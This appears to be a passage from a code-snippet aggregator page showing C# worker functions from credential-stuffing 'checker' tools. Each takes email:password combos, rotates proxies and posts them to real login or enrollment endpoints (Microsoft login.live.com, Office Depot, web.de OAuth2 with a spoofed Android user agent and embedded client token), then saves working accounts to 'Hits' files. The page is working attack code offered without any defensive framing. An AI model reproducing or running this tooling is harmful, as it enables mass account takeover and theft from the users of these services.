                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var request = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    request.Proxy.ConnectTimeout            = proxyTimeout;
                    request.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(request.SslCertificateValidatorCallback,
                                                                                                                    new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));


                    request.AddHeader("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
                    request.AddHeader("accept-encoding", "null");
                    request.AddHeader("accept-language", "en-US,en;q=0.9");
                    request.AddHeader("cache-control", "max-age=0");
                    request.AddHeader("content-length", "577");
                    request.AddHeader("content-type", "application/x-www-form-urlencoded");
                    request.AddHeader("cookie", "mkt=en-US; IgnoreCAW=1; MSCC=78.154.246.156-KW; [email protected]|209e2c9ba7f028c9||; MSPCID=209e2c9ba7f028c9; NAP=V=1.9&E=185a&C=YwJQ3-nJ3Oxms7ZqjKRPmeqfVlRl1_r70wln_ZOIIG3EyoRB16iTiA&W=2; ANON=A=45999FA1DB485D6EB926DA6BFFFFFFFF&E=18b4&W=2; SDIDC=CVuLKa5AIHJ5uwsBaOQt8nGLrmHZTYIsLuioHo6G0FNowfAcDMZkbAps9l0rcBGO540QWpXVPvUAcIQ1L7tlq06*97mj8ZAenWxDZuZRVsBTRVzzTnBfzvmhgDEo4xDK0aUQqANO3lggDjmIQkuueQtAlU*DfXR6rjEXlFsapFcCrsaYZoCXLgY*ou8MgnpDHUtA6Slww6NNLWwU!TdvMvo$; uaid=e94a49f177664960a3fca122edaf8a27; MSPOK=$uuid-5b220485-c233-4727-af20-52793217a373$uuid-029049e1-c2db-4c4e-83f1-7b736e9b8c34; wlidperf=FR=L&ST=1603778552344");
                    request.AddHeader("origin", "https://login.live.com");
                    request.AddHeader("referer", "https://login.live.com/ppsecure/post.srf?wa=wsignin1.0&rpsnv=13&rver=7.1.6819.0&wp=MBI_SSL&wreply=https:%2f%2faccount.xbox.com%2fen-us%2faccountcreation%3freturnUrl%3dhttps:%252f%252fwww.xbox.com:443%252fen-US%252f%26ru%3dhttps:%252f%252fwww.xbox.com%252fen-US%252f%26rtc%3d1&lc=1033&id=292543&aadredir=1&contextid=C61E086B741A7BC9&bk=1573475927&uaid=e94a49f177664960a3fca122edaf8a27&pid=0");
                    request.AddHeader("sec-fetch-dest", "document");
                    request.AddHeader("sec-fetch-mode", "navigate");
                    request.AddHeader("sec-fetch-site", "same-origin");
                    request.AddHeader("sec-fetch-user", "?1");
                    request.AddHeader("upgrade-insecure-requests", "1");
                    request.AddHeader("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36");

                    var    res0  = request.Post("https://login.live.com/ppsecure/post.srf?wa=wsignin1.0&rpsnv=13&rver=7.1.6819.0&wp=MBI_SSL&wreply=https:%2f%2faccount.xbox.com%2fen-us%2faccountcreation%3freturnUrl%3dhttps:%252f%252fwww.xbox.com:443%252fen-US%252f%26ru%3dhttps:%252f%252fwww.xbox.com%252fen-US%252f%26rtc%3d1&lc=1033&id=292543&aadredir=1&contextid=C61E086B741A7BC9&bk=1603778533&uaid=e94a49f177664960a3fca122edaf8a27&pid=0", "i13=0&login="******"&loginfmt=" + credentials[0] + "&type=11&LoginOptions=3&lrt=&lrtPartition=&hisRegion=&hisScaleUnit=&passwd=" + credentials[1] + "&ps=2&psRNGCDefaultType=&psRNGCEntropy=&psRNGCSLK=&canary=&ctx=&hpgrequestid=&PPFT=DUFc1dzD7yfbc6p1hw0Cd65jSD5xqvLeZIGaSdFAY0DtnynhExxOcwym3FibChimglSUc8j4bxbFM8qQ0vCPRsAEM2U623Kd9OztNH%21NBFY20tDsPhoUIuEUzMmTHEKXUWGC5qFYjOglF6yw*T14eF4b9JjU0%21JvLg41z6jonbYfBwY7F8rot5MTOPKnxlyiM3rf0jyeGb4tqHwmwhKPYzA%24&PPSX=PassportR&NewUser=1&FoundMSAs=&fspost=0&i21=0&CookieDisclosure=0&IsFidoSupported=1&isSignupPost=0&i2=1&i17=0&i18=&i19=18405", "application/x-www-form-urlencoded");
                    string text0 = res0.ToString();

                    if (text0.Contains("name=\"ANON\"") || text0.Contains("https://account.live.com/profile/accrue?mkt=") || text0.Contains($"sSigninName:'{credentials[0]}',bG:'https://login.live.com/gls.srf") || text0.Contains("name=\\\"t\\\" id=\\\"t\\\"") || text0.Contains("type=\"hidden\" name=\"t\" id=\"t\" value=\""))
                    {
                        Variables.Valid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            if (Config.kekr_UI == "LOG")
                            {
                                Console.WriteLine($"[+] {combo}", Color.Green);
                            }
                            File.AppendAllText(Variables.results + "Hits.txt", combo + Environment.NewLine);
                        }
                    }
                    else if (text0.Contains("incorrect account or password.\",") || text0.Contains("timed out"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                        }
                    }
                    else if (text0.Contains("account.live.com/recover?mkt") || text0.Contains("recover?mkt") || text0.Contains("account.live.com/identity/confirm?mkt") || text0.Contains("Email/Confirm?mkt") || text0.Contains("/cancel?mkt=") || text0.Contains("/Abuse?mkt=") || text0.Contains("JavaScript required to sign in"))
                    {
                        Variables.Custom++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 29
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var req = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    req.Proxy.ConnectTimeout            = proxyTimeout;
                    req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));

                    string check = req.Post("https://www.officedepot.com/json/smartEnroll/passcodeDelivery.do", "loginName=" + WebUtility.UrlEncode(credentials[0]), "application/x-www-form-urlencoded; charset=UTF-8").ToString();

                    if (check.Contains("success\":false"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            File.AppendAllText(Variables.results + "Not Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else if (check.Contains("success\":true"))
                    {
                        Variables.Valid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            if (Config.kekr_UI == "LOG")
                            {
                                Console.WriteLine($"[+] {combo}", Color.Green);
                            }
                            File.AppendAllText(Variables.results + "Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 30
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var req = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    req.Proxy.ConnectTimeout            = proxyTimeout;
                    req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));


                    char[] charac    = "qwertyuiopasdfghjklzxcvbnm".ToCharArray();
                    Random r         = new Random();
                    string s         = charac[r.Next(0, 26)].ToString();
                    string s1        = charac[r.Next(0, 26)].ToString();
                    string s2        = charac[r.Next(0, 26)].ToString();
                    string s3        = charac[r.Next(0, 26)].ToString();
                    string s12       = "LGM-" + s + "u" + s1 + "d" + s2 + "d0" + s3 + "u";
                    string s4        = charac[r.Next(0, 26)].ToString();
                    string s5        = charac[r.Next(0, 26)].ToString();
                    string s6        = charac[r.Next(0, 26)].ToString();
                    string s7        = charac[r.Next(0, 26)].ToString();
                    string s8        = charac[r.Next(0, 26)].ToString();
                    string s9        = charac[r.Next(0, 26)].ToString();
                    string useragent = "webde.android.androidmail/6.19.2 Dalvik/2.1.0 (Linux; U; Android 6.0.1; " + s12 + " Build/" + s4 + "u" + s5 + "d" + s6 + "u" + s7 + "d" + s8 + "d" + s9 + "u)";
                    req.AddHeader("Authorization", "Basic d2ViZGVfbWFpbGFwcF9hbmRyb2lkOnRtQVM3aUpXQ0syUElYNWVGa1JJUm9vdmRhN25HcnNJTXpIeThBRkM=");
                    req.AddHeader("User-Agent", useragent);
                    req.AddHeader("X-UI-APP", "webde.android.androidmail/6.19.2");
                    req.AddHeader("Host", "oauth2.web.de");
                    req.AddHeader("Connection", "Keep-Alive");
                    req.AddHeader("Accept-Encoding", "gzip");
                    string post = req.Post("https://oauth2.web.de/token", "grant_type=password&username="******"&password="******"&device_name=LGE " + s12, "application/x-www-form-urlencoded").ToString();
                    if (post.Contains("\"access_token\":\""))
                    {
                        Variables.Valid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            if (Config.kekr_UI == "LOG")
                            {
                                Console.WriteLine($"[+] {combo}", Color.Green);
                            }
                            File.AppendAllText(Variables.results + "Hits.txt", combo + Environment.NewLine);
                        }
                    }
                    else if (post.Contains("\"error_description\":\"Perm.ACCOUNT_NOT_FOUND_OR_PASSWORD_WRONG\"") || post.Contains("\"error_description\":\"Perm.BAD_REQUEST\""))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }